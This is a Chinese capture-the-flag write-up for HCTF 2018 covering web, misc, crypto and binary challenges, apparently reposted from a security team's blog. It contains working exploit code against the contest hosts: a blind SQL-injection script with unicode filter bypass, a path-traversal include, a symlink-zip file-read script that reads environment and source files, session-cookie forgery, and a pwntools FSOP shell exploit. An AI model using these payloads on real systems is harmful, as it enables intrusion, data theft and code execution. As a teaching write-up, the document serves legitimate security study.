前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >HCTF2018 WriteUp

HCTF2018 WriteUp

作者头像
ChaMd5安全团队
发布2018-12-12 15:42:54
1.1K0
发布2018-12-12 15:42:54
举报
文章被收录于专栏:ChaMd5安全团队

招新小广告

ChaMd5 ctf组 长期招新

尤其是reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

Web

kzone

解题思路

不断fuzz,发现\u0075nion在json_decode后,会变成union,从而达到bypass的目的。 脚本:

代码语言:javascript
复制
# -*- coding: utf-8 -*-
import requests
import base64
import string
url = 'http://kzone.2018.hctf.io/admin/list.php'
fuzz = string.letters + string.digits + '!@&{}#$*'
def check(payload):
  cookie = {
   'PHPSESSID':'gnbvuv2j1emoidqq516504mnv5',
   'islogin':'1',
   'login_data':payload
   }
  try:
   requests.post(url,cookies=cookie,timeout=1.5)
   return 0
  except:
   return 1
result = ''
for i in range(32,50):
 for j in fuzz:
  payload = '{"admin_user":"admin\'/**/and/**/\u0069f(\u0061scii(\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\u003d%s,\u0073leep(2),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))  
  #print payload
  if check(payload):
   result += j
   break
 print result
admin

解题思路 注册登录后,在changepassword部分看到源码,下载之。 看到了源码中的strlower部分,百度找到了这篇文章 http://blog.lnyas.xyz/?p=1411 因为题目在注册中调用了一次strlower,所以会解码一次,这样注册的是Admin,与已注册的admin不同,在接下来changepassword时在解码一次,decode成admin,就可以admin密码。所以需要大写类型的unicode Admin 找到了一个ᴬdmin

注册->登录>changepassword->登录->flag

Warmup

源码注释里提示有source.php,绕过文件名检测然后文件包含即可:

http://warmup.2018.hctf.io/index.php?file=hint.php?/../../../../../../../ffffllllaaaagggg

hide and seek

上传包含软连接的 zip 文件达到任意读

代码语言:javascript
复制
function lfr(){
 rm -f _v
 ln -s $1 _v
 zip -0 -y -q -r -o b3.zip cmdline _v zip
 curl -s "http://hideandseek.2018.hctf.io/upload" \
 -H "Connection: close" \
 -F the_file=@b3.zip \
 --output -
 rm b3.zip
}
lfr /path/to/file
lfr /proc/self/environ
lfr /app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
lfr /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
lfr /sys/class/net/eth0/address
mac2long 12:34:3e:14:7c:62
# 20015589129314
# SECRET_KEY=11.935137566861131
# Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-eIfw.0rOhpwBRE__J5-T9HZnPh2yS3ys
curl -s http://hideandseek.2018.hctf.io/ \
-H "Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.W-eIfw.0rOhpwBRE__J5-T9HZnPh2yS3ys" \
--output - | grep hctf

session.py

代码语言:javascript
复制
from flask import Flask, session
import uuid
import random
import os
random.seed(20015589129314)
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
@app.route('/fuck', methods=['GET'])
def fuck():
    session['username'] = 'admin'
    return app.config['SECRET_KEY']

hctf{2495e2ef667b367a0738f5eae9d6afb983c2}

MISC

freq game

script:

代码语言:javascript
复制
from pwn import *
import numpy as np

def get_number(x, freq):
    y = np.sin(2*np.pi*x*freq)*7
    return y

sumdic = {}
sumlist = []
x = np.linspace(0,1,1500)[1]
for x1 in range(256):
    for x2 in range(x1 + 1):
        y1 = get_number(x, x1)
        y2 = get_number(x, x2)
        sumdic[(x1,x2)] = y1 + y2
        sumlist.append(y1 + y2)
print len(sumdic)

def getcomp_(x):
    for key in sumdic:
        if abs(sumdic[key] - x) < 0.00000000000001:
            return key
    return (0, 0)

def getcomp(x):
    for key in sumdic:
        key_ = getcomp_(x - sumdic[key])
        if key_ != (0, 0):
            return (key[0], key[1], key_[0], key_[1])
    return (0, 0, 0, 0)

context.log_level = 'error'
p = remote('150.109.119.46', 6775)
p.recvuntil('hint:')
p.sendline('y')
p.recvuntil('token:')
p.sendline('1PoPsLwOXUExIBXAeUTBbi2gevm0jjpl')
for i in range(8):
    print i
    p.recvuntil('[')
    que = p.recvuntil(']')[:-1]
    que = que.split(', ')
    que = float(que[1])
    print 'getting comp'
    ans = getcomp(que)
    ans = str(ans[0]) + ' ' + str(ans[1]) + ' ' + str(ans[2]) + ' ' + str(ans[3])
    print ans
    p.sendline(ans)
p.interactive()
difficult programming language

script:

代码语言:javascript
复制
# -*- coding: cp936 -*-

#D:\Program Files\Wireshark\tshark.exe -r  difficult_programming_language.pcap  -T fields -e usb.capdata > usbdata.txt

def shiftkey(k):
    if ord(k) >= ord('a') and ord(k) <= ord('z'):
        return k.upper()        
    elif ord(k) >= ord('0') and ord(k) <= ord('9'):
        numt = ')!@#$%^&*('
        return numt[ord(k)-ord('0')]
    else:
        dic = {}
        dic['/'] = '?'
        dic['='] = '+'
        dic['\\'] = '|'
        dic['-'] = '_'
        dic[';'] = ':'
        dic['.'] = '>'
        dic[','] = '<'
        dic['['] = '{'
        dic['`'] = '~'
        return dic[k]

mappings = { 4: 'a', 5: 'b', 6: 'c', 7: 'd', 8: 'e', 9: 'f', 10: 'g', \
             11: 'h', 12: 'i', 13: 'j', 14: 'k', 15: 'l', 16: 'm', 17: 'n', \
             18: 'o', 19: 'p', 20: 'q', 21: 'r', 22: 's', 23: 't', 24: 'u', \
             25: 'v', 26: 'w', 27: 'x', 28: 'y', 29: 'z', 30: '1', 31: '2', \
             32: '3', 33: '4', 34: '5', 35: '6', 36: '7', 37: '8', 38: '9', \
             39: '0', 40: '\n', 41: 'ESCAPE', 42: 'DELETE', 43: 'Tab', 44: \
             'Spacebar', 45: '-', 46: '=', 47: '[', 48: ']', 49: '\\', 50: \
             'Non-US', 51: ';', 52: '\'', 53: '`', 54: ',', 55: '.', 56: '/', 57: 'Caps', 58: 'F1', 59: 'F2', 60: 'F3', 61: 'F4', 62: 'F5', 63: 'F6', 64: 'F7', 65: 'F8', 66: 'F9', 67: 'F10', 68: 'F11', 69: 'F12', 70: 'PrintScreen1', 71: 'Scroll', 72: 'Pause1', 73: 'Insert1', 74: 'Home1', 75: 'PageUp1', 76: 'Delete', 77: 'End1', 78: 'PageDown1', 79: 'RightArrow1', 80: 'LeftArrow1', 81: 'DownArrow1', 82: 'UpArrow1', 100: 'Non-US', 101: 'Application10', 102: 'Power9', 104: 'F13', 105: 'F14', 106: 'F15', 107: 'F16', 108: 'F17', 109: 'F18', 110: 'F19', 111: 'F20', 112: 'F21', 113: 'F22', 114: 'F23', 115: 'F24', 116: 'Execute', 117: 'Help', 118: 'Menu', 119: 'Select', 120: 'Stop', 121: 'Again', 122: 'Undo', 123: 'Cut', 124: 'Copy', 125: 'Paste', 126: 'Find', 127: 'Mute', 128: 'Volume', 129: 'Volume', 130: 'Locking', 131: 'Locking', 132: 'Locking', 135: 'International115,28', 136: 'International216', 137: 'International317', 138: 'International418', 139: 'International519', 140: 'International620', 141: 'International721', 142: 'International822', 143: 'International922', 144: 'LANG125', 145: 'LANG226', 146: 'LANG330', 147: 'LANG431', 148: 'LANG532', 149: 'LANG68', 150: 'LANG78', 151: 'LANG88', 152: 'LANG98', 153: 'Alternate', 154: 'SysReq/Attention1', 155: 'Cancel', 156: 'Clear', 157: 'Prior', 158: 'Return', 159: 'Separator', 160: 'Out', 161: 'Oper', 162: 'Clear/Again', 163: 'CrSel/Props', 164: 'ExSel'}
output = ''
keys = open('usbdata.txt').read()
keys = keys.split('\n')
for key in keys:
    if len(key) >= 8:
        s = key[0:2]
        k = int(key[6:8],16)
        if k in mappings:
            if s == '01':
                output += 'ctr ' + mappings[k] + '\n'
            elif s == '02':
                output += shiftkey(mappings[k]) 
            else:
                output += mappings[k] 
        else:
            if k != 0:
                print k
print('output :\n' + output)

output:

D';M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3

hctf{m4lb0lGe}

Crypto

xor game

原文是英文诗,因此密钥解出来的明文是一些可见字符,先fuzz出密钥长度:

代码语言:javascript
复制
from Crypto.Util.strxor import strxor
import base64
import random

key="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?!_"
key2=" qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890,.'"
def enc(data, key):
    key = (key * (len(data) / len(key) + 1))[:len(data)]
    return strxor(data, key)

def check(s,m,n,offset=0):
    f=1
    for i in range(n/m-1):
        if ord(s[offset+m*i])>=128 or (ord(s[offset+m*i])<32 and ord(s[offset+m*i])!=10 and ord(s[offset+m*i])!=13):
            f=0
            break
    if f==1:
        return True
    else:
        return False
poem = open('cipher.txt', 'r').read()
for i in range(5,40):
    for j in range(32,128):
        flag=chr(j).ljust(i," ")
        s=enc(poem.decode("base64"), flag)
        if check(s,i,len(s)):
            print i,flag
            #break
#21  22 25  28 29 35  

然后同样方法逐位爆破即可(最开始几位容易确定为:"xor_is_",后面位结果太多,可以看已破解的明文,用英文单词推知后面结果):hctf{xor_is_interesting!@#}

xor?rsa

http://skysec.top/2018/09/15/%E6%B5%85%E6%9E%90RSA-Padding-Attack/

参考Coppersmith’s short-pad attack,利用工具:https://github.com/ValarDragon/CTF-Crypto/blob/master/RSA/FranklinReiter.sage

题目做着做着多出来sha256来控制取题速度 本来还想着刷个好分解的溜溜,贴一下Kir老哥的代码:

代码语言:javascript
复制
from hashlib import sha256

for i in range(32,127):
 for j in range(32,127):
  for k in range(32,127):
   for l in range(32,127):
    f=chr(i)+chr(j)+chr(k)+chr(l)
    if sha256(f + "nFpUNkIQrQa3").hexdigest() == "2b40407afa8654ce4d3df4fa92ee99ac4121bdb96e5f22a84199416c1e7d3cbb":
     print f
     break


# Franklin-Reiter attack against RSA.
# If two messages differ only by a known fixed difference between the two messages
# and are RSA encrypted under the same RSA modulus N
# then it is possible to recover both of them.
from sage import *
# Inputs are modulus, known difference, ciphertext 1, ciphertext2.
# Ciphertext 1 corresponds to smaller of the two plaintexts. (The one without the fixed difference added to it)
def franklinReiter(n,e,r,c1,c2):
    R.<X> = Zmod(n)[]
    f1 = X^e - c1
    f2 = (X + r)^e - c2
    # coefficient 0 = -m, which is what we wanted!
    return Integer(n-(compositeModulusGCD(f1,f2)).coefficients()[0])

  # GCD is not implemented for rings over composite modulus in Sage
  # so we do our own implementation. Its the exact same as standard GCD, but with
  # the polynomials monic representation
def compositeModulusGCD(a, b):
    if(b == 0):
        return a.monic()
    else:
        return compositeModulusGCD(b, a % b)

def CoppersmithShortPadAttack(e,n,C1,C2,eps=1/30):
    """
    Coppersmith's Shortpad attack!
    Figured out from: https://en.wikipedia.org/wiki/Coppersmith's_attack#Coppersmith.E2.80.99s_short-pad_attack
    """
    import binascii
    P.<x,y> = PolynomialRing(ZZ)
    ZmodN = Zmod(n)
    g1 = x^e - C1
    g2 = (x+y)^e - C2
    res = g1.resultant(g2)
    P.<y> = PolynomialRing(ZmodN)
    # Convert Multivariate Polynomial Ring to Univariate Polynomial Ring
    rres = 0
    for i in range(len(res.coefficients())):
        rres += res.coefficients()[i]*(y^(res.exponents()[i][1]))

    diff = rres.small_roots(epsilon=eps)
    recoveredM1 = franklinReiter(n,e,diff[0],C1,C2)
    print(recoveredM1)
    print("Message is the following hex, but potentially missing some zeroes in the binary from the right end")
    print(hex(recoveredM1))
    print("Message is one of:")
    for i in range(8):
        msg = hex(Integer(recoveredM1*pow(2,i)))
        if(len(msg)%2 == 1):
            msg = '0' + msg
        if(msg[:2]=='0x'):
            msg = msg[:2]
        print(binascii.unhexlify(msg))

def testCoppersmithShortPadAttack(eps=1/25):
    from Crypto.PublicKey import RSA
    import random
    import math
    import binascii
    M = "flag{This_Msg_Is_2_1337}"
    M = int(binascii.hexlify(M),16)
    e = 3
    nBitSize =  8192
    key = RSA.generate(nBitSize)
    #Give a bit of room, otherwhise the epsilon has to be tiny, and small roots will take forever
    m = int(math.floor(nBitSize/(e*e))) - 400
    assert (m < nBitSize - len(bin(M)[2:]))
    r1 = random.randint(1,pow(2,m))
    r2 = random.randint(r1,pow(2,m))
    M1 = pow(2,m)*M + r1
    M2 = pow(2,m)*M + r2
    C1 = Integer(pow(M1,e,key.n))
    C2 = Integer(pow(M2,e,key.n))
    CoppersmithShortPadAttack(e,key.n,C1,C2,eps)

def testFranklinReiter():
    p = random_prime(2^512)
    q = random_prime(2^512)
    n = p * q # 1024-bit modulus
    e = 11

    m = randint(0, n) # some message we want to recover
    r = randint(0, n) # random padding

    c1 = pow(m + 0, e, n)
    c2 = pow(m + r, e, n)
    print(m)
    recoveredM = franklinReiter(n,e,r,c1,c2)
    print(recoveredM)
    assert recoveredM==m
    print("They are equal!")
    return True

n=19887994051236493076873280465313990197092952871122877723373775584977707140593083012535615551606399118544838777449254183247121295458731358336644968689514695861751450101968280133400100389980783108983943294352861846164471805172325023158549859676313630826991906215452897079828632841395515613555565659156000092427201147035090321215449415071956176987021251716772154049466608694632462093311886904780391498622596762813424042683887037487959610127667938831340770508293534716557323371857271400185504486602467105811568367964275665584072689328308816300985059099591387414849157750391921324805172938088056487887605140902002440519161
c1=19423697461459978841636766775452799095947939987607109859287229254631732272947447604016574851143514430504321829201343609095655654387446680553099689714024344267989965806711348896865780417727889994759456310018798922924532932060886970622010330033916053006055882090824731537390843140007341704549110675121840657405433521569995652024178047836267898314261805225601843357569116209401355567086230968529956496689162349558895682116367156853860111809490159686549012594246982181830015880736961648603389616272876751590004940497298532832908129430694808631887806763402599167248065324804841760675901757492998994604149459854809135039205
c2=8750899802582909426521034721838197565536864731527843241762040183175503839838612960243076025745004090802005297602166415111110576519296055170256275679327372275357032872996138231224846535008006971372072699805641447890249236224292670910257233212722767329053305326750587872308067973535540398314661647218455910637434474589917120824015356867975120966193292778256950379975796887956386870166178104561030961252332829275317242388252044985772841922150664603300793165992962148028827938785256909456405917112373035915873935120439583922219085847163148144967904573071530092144475602768948491236682285164639352787145321648956392024911
e=5
CoppersmithShortPadAttack(e,n,C1,C2,1/60)

之前卡滞在CoppersmithShortPadAttack报错

Kir老哥分析截止误差设置太大了,改成1/60即可。

BIN

the end

解题思路

代码语言:javascript
复制
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

可以看到程序保留了stdin,且有5次任意地址写(1字节)的机会。 思路很简单:利用FSOP,在调用_IO_flush_all_lockp时,劫持vtable中的overflow函数,2.23后不能直接写vtable,可以在一段可写内存中伪造vtable(将overflow的位置写为one_gadget),再将IO_FILE_plus中的vtable指针指向构造后的vtable,在exit的时候,便会最终调用one_gadget来get shell:

代码语言:javascript
复制
from pwn import *

context.log_level='debug'
p=remote("150.109.44.250",20002)
p.sendlineafter("token:","1PoPsLwOXUExIBXAeUTBbi2gevm0jjpl")
p.recvuntil("gift ")
libc_addr=int(p.recv(14),16)-0xcc230
p.recvuntil("\n")
vtable_ptr_addr=libc_addr+0x3c56f8
fake_vtable=libc_addr+0x3c51e0
one_gadget=libc_addr+0xf02a4
stderr_addr=libc_addr+0x3c5540
print "libc:{}".format(hex(libc_addr))
print "fake_vtable:{}".format(hex(fake_vtable))
print "one_gadget:{}".format(hex(one_gadget))

#fake vtable
for i in range(3):
  p.send(p64(fake_vtable+0x18+i))
  p.send(p64(one_gadget)[i])

#fp->_IO_write_ptr > fp->_IO_write_base
p.send(p64(stderr_addr+0x28))
p.send("\x01")

#_IO_FILE_plus.vtable->fake vtable
p.send(p64(stderr_addr+216+1))
p.send(p64(fake_vtable)[1])
#gdb.attach(p)
p.interactive()

因为没有输出,get shell后:

ls >&0 cat flag >&0

LuckStar

AntiDebug

自解

自解的主流程

Encodekey

Step1 Base64(alpha表大小写被替换了) Step2 Xor with Table

Dump Table[] = 0x08, 0x81, 0x39, 0x8D, 0x40, 0x09, 0x42, 0x14, 0xD0, 0xF2, 0x98, 0x66, 0x33, 0xD6, 0xC9, 0xB2, 0xC1, 0x95, 0xB6, 0x1E, 0xC7, 0x2D, 0x1C, 0xEF, 0xD2, 0xB2, 0x5F, 0x66, 0x8C, 0xB9, 0xF1, 0x38

encodekeyExcepted[] = 0x49, 0xE6, 0x57, 0xBD, 0x3A, 0x47, 0x11, 0x4C, 0x95, 0xBC, 0xEE, 0x32, 0x72, 0xA0, 0xF0, 0xDE, 0xAC, 0xF2, 0x83, 0x56, 0x83, 0x49, 0x6E, 0xA9, 0xA6, 0xC5, 0x67, 0x3C, 0xCA, 0xC8, 0xCC, 0x05

Table[] ^ encodekeyExcpeted[] = ‘Agn0zNSXENvTAv9lmg5HDdrFtw8ZFq==’ => b64.decode(‘aGN0ZnsxenVtaV9lMG5hdDRfTW8zfQ==’)

PolishDuck

本来题都有问题 出来的是这个

这题2月份的某个比赛见过类似的 arduino模拟键盘操作 手边有ard板down一下程序就完事了 不是很喜欢这个题型 dump RAM

关键函数

关键流程

模拟键盘打印串

a.bin

a.py

script result

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-11-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 ChaMd5安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • kzone
      • admin
        • Warmup
          • hide and seek
          • MISC
            • freq game
              • difficult programming language
              • Crypto
                • xor game
                  • xor?rsa
                  • BIN
                    • the end
                      • LuckStar
                        • PolishDuck
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档